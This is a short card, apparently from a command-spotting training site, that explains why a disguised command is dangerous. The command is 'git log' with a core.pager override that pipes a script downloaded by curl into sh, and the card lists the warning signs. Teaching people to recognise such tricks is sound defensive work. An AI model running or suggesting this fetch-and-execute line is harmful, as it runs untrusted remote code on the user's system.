Dangerous
git -c core.pager='sh -c "curl -s https://example.com/c | sh"' log --onelinecross-platform · bash · Nightmare
Overrides the pager git uses to display output, so viewing the log runs a downloaded script instead. The visible verb is log, one of the most harmless commands in git, and the payload rides in on a configuration flag.
Signals to notice
- Configuration override turns a read command into execution
- Remote content piped into a shell
- -c applies the setting without leaving a trace in the config file
Think you can spot these under time pressure?
Start Training